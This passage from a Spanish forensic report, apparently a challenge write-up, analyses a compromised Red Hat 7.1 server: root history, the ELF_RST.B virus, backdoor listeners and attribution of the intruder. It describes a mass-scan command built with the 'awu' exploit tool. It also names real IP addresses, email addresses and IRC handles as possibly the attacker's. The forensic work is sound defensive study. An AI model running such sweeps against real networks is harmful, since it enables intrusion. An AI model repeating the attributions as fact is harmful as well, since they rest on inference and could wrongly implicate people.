Recordemos que el exploit “wu” envía el “unset” anterior por lo que a pesar de obtener privilegios de root, los comandos no son registrados en el *history. Deducimos, por tanto, que los comandos que aparecen listados en /root/.bash_history pertenecen a sesiones en las que el hacker entró utilizando alguna de las múltiples puertas traseras instaladas en la máquina tras el compromiso.

En el fichero “root_history_fechado.txt” que se entrega junto a este documento hemos intentado desmenuzar en diferentes sesiones el fichero *history, además de

[26] Si quisiéramos barrer una clase A podríamos utilizar el script “auto”, el cual nos pedirá una clase A (ej: 12) y generará un fichero de salida de la forma “./awu 12.0 ; ./awu 12.1 ; … ; ./awu 12.254”, es decir, que llama secuencialmente a “awu” con las distintas clases B posibles.

añadir las horas aproximadas en que fueron ejecutados algunos comandos. Esto dará una idea de la cronología de los hechos y facilitará la construcción de la "time-line" final.

Para llevar a cabo la separación en secciones hemos hecho uso del sentido común y tenido en cuenta: horas de ejecución de los comandos, comandos "exit" o el uso del comando "w" (es probable que el atacante compruebe en cada nueva sesión si está conectado el administrador o cualquier otro usuario ante el cual podamos levantar sospechas).

5.6 Virus "ELF_RST.B".

Le pasamos el antivirus "Virus Scan for Linux v4.24.0" a todo el sistema. El resultado ha quedado plasmado en el fichero "antivirus.txt". Como se puede observar muchos binarios del sistema están infectados con el virus "ELF_RST.B". Este virus es especialmente peligroso. Básicamente infecta binarios ELF e incluye una puerta trasera. Mirando con la utilidad "strings" en la swap se confirma la presencia del virus:

```
GET /~telcom69/gov.php HTTP/1.0
ppp0
eth0
…
snortdos
tory
```

Se puede encotrar información técnica completa sobre este virus en la web de cualquier fabricante de antivirus[27].

También encontramos diversos gusanos ("worms") e incluso se detecta parcialmente la presencia del rootkit en la máquina. No entraremos en más detalle.

[27] http://es.trendmicro-europe.com/enterprise/security_info/ve_detail.php?id=41946&VName=ELF_RST.B&VSect=T

6 Identificando al atacante.

No es trivial localizar al atacante ya que éste utilizó presumiblemente máquinas intermedias y no atacó directamente. Además, del estudio de los logs se deduce que hubo varias direcciones IPs atacantes. Es muy difícil averiguar si detrás de dichas IPs se encontraba una misma persona, un grupo de personas o bien son el resultado de ataques aislados. Por simplicidad, asumiremos que todas se deben a una misma persona y nos limitaremos a esbozar la figura del atacante y su "modus operandi".

- Su "nick" o nombre de guerra es "NeRoD". Evidencias de ello son los múltiples logs de su actividad en IRC de los que disponemos (psybnc). Además, es coherente con el nombre escogido para la cuenta que crea en el sistema así como el nombre del directorio donde se ubica el rootkit.
- La creación de directorios "ocultos" del estilo "." podría caracterizar sus intrusiones.
- Es de origen rumano. Lo deducimos rescatando de la swap algunos logs de conexión del bouncer:

```
Fri Aug 23 01:18:47 :New User:George (Sa Imi Sugi Pola Cu Whoisu Tau Cu Tot
Lamere) added by George
Fri Aug 23 01:18:47 :connect from 80.96.68.72
...
Fri Aug 23 03:21:18 :User George logged in.
Fri Aug 23 03:21:18 :connect from 80.96.68.72
...
Fri Aug 23 09:37:23 :connect from 80.96.68.71
Fri Aug 23 09:40:19 :User George logged in.
Fri Aug 23 09:40:19 :User George quitted (from 80.96.68.71)


Fri Aug 23 10:22:19 :connect from 213.154.99.10
Fri Aug 23 10:22:25 :New User:adrian (Gone 4 Ever to another space) added by
adrian
...
:-psyBNC!psyBNC@lam3rz.de NOTICE a :Fri Aug 23 10:46:12 :User adrian disconnected
(from 213.154.99.10)
```

  Como vemos:

  - El texto que aparece en el primer "new user" es propio de los rumanos (basta con buscar en "Google" algunas palabras y se verá que nos devuelve páginas rumanas).
  - La IP **80.96.68.71** (80-96-68-71.rdsnet.ro) pertenece a un ISP de Rumanía ("Romania Data Systems" o RDS), al igual que la **80.96.68.72**.
  - La IP 213.154.99.10 pertenece a otro ISP rumano: "PCNET". En concreto, parece ser una ADSL.
  - Una pista especialmente importante es que el rootkit trata de enmascarar las conexiones que vengan de estas IPs:

```
rs-labs:/reto/root/.,# less /reto/dev/ttyoa
1 80.96
…
```

- Frecuenta canales de IRC en Undernet como #hackeri.
- Uno de los contertulios de dicho canal se identifica: "YabadaMAD!~adrian@ 213.154.99.10". Casualmente conectó al bouncer. Podría ser por tanto el atacante o bien un amigo cercano a él.

- Las IPs anteriores se suponen muy cercanas al atacante. Alguna de ellas podría incluso ser la IP desde la cual se conecta normalmente (por ejemplo: su casa). No lo podemos saber a ciencia cierta pero tenemos información suficiente para investigar y en caso de ser necesario requerir al ISP judicialmente los datos reales de la persona que conectaba desde esa IP a la hora dada (la tenemos en los logs).
- Hay otras IPs que aparecen en el /var/log/* que podrían ser máquinas "trampolín" usadas por el atacante[28]:
  - 218.146.115.18: "Korea Telecom" (Corea).
  - 213.84.155.131: "Xs4all" (Holanda).
  - 210.83.207.251: "Dalian-guanganmen-corp" (China).
  - 200.47.186.114: "COMSAT Peru S.A." (Perú).
- A lo largo del análisis hemos encontrado varias direcciones de correo electrónico gratuitas cuyo fin es ser receptoras de la información obtenida de la máquina comprometida ("sysinfo" y logs de "linsniffer"). Todas o alguna de ellas podrían pertenecer al atacante:
  - nightman@myplace.com.
  - suntsfant2@yahoo.com.
  - frumosu99us@yahoo.com.

[28] Hemos hecho uso de "whois" para obtener la procedencia de las diferentes direcciones IP.

7 Apéndice: características de la máquina.

Presentamos a continuación un resumen de las características hardware y software más relevantes del sistema bajo estudio.

```
SO: Red Hat Linux release 7.1 (Seawolf)
---------------------------------------------------------------
Network info:

Hostname : localhost.localdomain (192.168.3.10)
Distro: Red Hat Linux release 7.1 (Seawolf)
Uname -a
Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 19:37:14 EDT 2001 i586 unknown
---------------------------------------------------------------
Hw info:

CPU Speed: 166.196MHz
CPU Vendor: vendor_id   : GenuineIntel
CPU Model: model name   : Pentium 75 - 200
RAM: 48 Mb
HDD(s):
Filesystem    Type    Size  Used Avail Use% Mounted on
/dev/hda8     ext2    251M   52M  185M  22% /
/dev/hda1     ext2     53M  3.4M   47M   7% /boot
/dev/hda6     ext2    1.5G   44k  1.4G   1% /home
/dev/hda5     ext2    1.5G  479M 1023M  32% /usr
/dev/hda7     ext2    251M   20M  218M   9% /var
---------------------------------------------------------------

Ports open:
portmap    462 root    4u  IPv4        740              TCP *:sunrpc (LISTEN)
rpc.statd  477 root    6u  IPv4        775              TCP *:1024 (LISTEN)
sshd       649 root    3u  IPv4        973              TCP *:ssh (LISTEN)
sendmail   704 root    4u  IPv4       1060               TCP localhost.localdomain:smtp
(LISTEN)
xinetd     812 root    3u  IPv4       1184              TCP *:ftp (LISTEN)

Troyanos:
sshd      7203 root    3u  IPv4       7762              TCP *:4 (LISTEN)
atd       7212 root    3u  IPv4       7747              TCP *:smtps (LISTEN)
---------------------------------------------------------------
```